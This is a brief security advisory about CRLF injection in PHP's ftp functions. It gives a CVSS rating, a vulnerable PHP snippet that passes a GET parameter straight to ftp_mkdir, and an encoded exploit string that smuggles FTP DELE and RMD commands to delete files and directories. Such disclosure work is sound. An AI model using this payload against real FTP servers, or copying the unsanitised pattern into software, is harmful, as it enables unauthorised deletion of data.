CRLF injection in PHP ftp function

Credit: fangxiaodun
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

We found that there was one crlf injection in php ftp ftuntion.As same as http,you can inject a '\r\n other command' in the paramer of a ftp function like ftp_mkdir,and then php would send the \r\n to your connected ftp server.The server considerd there is a new command,and the other command would be executed. For eg: <?php $ftp_server=''; $ftp_user_name='loveshell'; $ftp_user_pass='loveshell'; $command = $_GET['dir']; $conn_id = ftp_connect($ftp_server); $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); if($command) ftp_mkdir($conn_id, $command); ....... Exp: jnc%0D%0ADELE jnc.txt%0D%0Armd test The dir loveshell and jnc are created,the jnc.txt is deleted,and the dir test is deleted. tested on php 5.1.6,other function is vul also. loveshell[at]Bug.Center.Team

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024,


Back to Top